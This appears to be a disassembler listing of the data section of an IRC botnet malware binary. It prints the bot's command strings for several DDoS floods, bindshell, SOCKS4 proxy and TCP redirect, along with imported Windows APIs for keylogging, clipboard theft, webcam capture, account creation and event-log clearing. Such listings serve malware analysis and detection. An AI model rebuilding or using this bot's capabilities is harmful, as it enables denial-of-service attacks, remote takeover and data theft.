aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo
align 4
dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o
align 10h
dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o
align 10h
dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co
unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o
; sub_401ACD+13A3o
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401ACD+1302o
; sub_401ACD+139Eo
align 4
dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o
; sub_401ACD+137Ao
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401ACD+12E4o
; sub_401ACD+1375o
align 4
dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o
; sub_401ACD+13F5o
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401ACD+1284o
; sub_401ACD+13F0o
align 4
dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
; sub_401ACD+13CCo
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401ACD+1266o
; sub_401ACD+13C7o
align 4
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o
align 4
dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo
; sub_401ACD+12C8o
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401ACD+11F6o
; sub_401ACD+12C3o
align 10h
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo
align 4
dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o
; sub_401ACD+12AAo
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401ACD+11CDo
; sub_401ACD+12A5o
align 4
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o
align 4
dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o
; sub_401ACD+1328o
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401ACD+11A4o
; sub_401ACD+1323o
align 4
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo
align 4
dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
; sub_401ACD+124Ao
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401ACD+117Bo
; sub_401ACD+1245o
align 4
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o
dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o
; sub_401ACD+122Co
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401ACD+1152o
; sub_401ACD+1227o
align 4
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401ACD+1139o
align 4
dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401ACD+1129o
align 4
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o
align 4
dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
aLogList db 'Log list',0 ; DATA XREF: sub_401ACD+1100o
align 10h
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo
align 4
dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o
align 10h
dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o
align 4
dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1037o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o
; sub_401ACD+1085o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o
; sub_401ACD+2D26o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo
; sub_401ACD+2D15o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o
align 4
aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co
align 4
aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o
align 4
aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o
; sub_401ACD+EDEo
aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o
align 10h
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co
a63 db '63',0 ; DATA XREF: sub_401ACD+D69o
align 4
asc_42CAAC: ; DATA XREF: sub_401ACD+D41o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o
align 4
aServer db '$server',0 ; DATA XREF: sub_401ACD+CF9o
aRndnick db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo
align 4
aUser db '$user',0 ; DATA XREF: sub_401ACD+CBBo
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo
aD db '$%d-',0 ; DATA XREF: sub_401ACD+B77o
align 4
aK: ; DATA XREF: sub_401ACD+A9Fo
; sub_401ACD+3DBCo ...
unicode 0, <k>,0
aC: ; DATA XREF: sub_401ACD+A87o
; sub_401ACD+4AA4o ...
unicode 0, <c>,0
unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co
align 4
unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+8F3o
dd 0A0Dh
dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo
dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8B4o
dd 0D017325h, 0Ah
dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o
dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo
; sub_40CD43+1Bo
unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_8 db '%s',0 ; DATA XREF: sub_401ACD+6EAo
; sub_401ACD+979o ...
align 4
aSend db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o
align 10h
dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o
dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo
; sub_401ACD+AC1o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do
; sub_409869+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o
; sub_409869+16o
unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o
; sub_40F3AA+5C6o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o
; sub_401ACD+5CDo
align 10h
aSS_1 db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+5F1o
unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2E79o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 10h
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7A88o ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_417B76:loc_417BDEo
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302_0 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3BBo ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_417B76+50o
align 4
asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7B9Do
unicode 0, <!>,0
asc_42CDC0: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E41o ...
unicode 0, < >,0
asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_4025E6o
align 4
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
; sub_418AF1+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o
; sub_418AF1+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409909+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409909+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409909+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o
aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo
; sub_425029+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao
align 4
unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
align 10h
a__0: ; DATA XREF: sub_41036B+252o
unicode 0, <.>,0
unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o
; sub_40C2AF+38o ...
aReal db 'real',0
align 4
dd 0
dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o
off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r
aConst db 'const',0
align 10h
dd 1, 40AB19h, 7474656Ch, 7265h, 0
dd 2, 40AB77h, 706D6F63h, 2 dup(0)
dd 3, 40ABC4h, 6E756F63h, 797274h, 0
dd 4, 40AC62h, 736Fh, 2 dup(0)
dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEEDh
off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
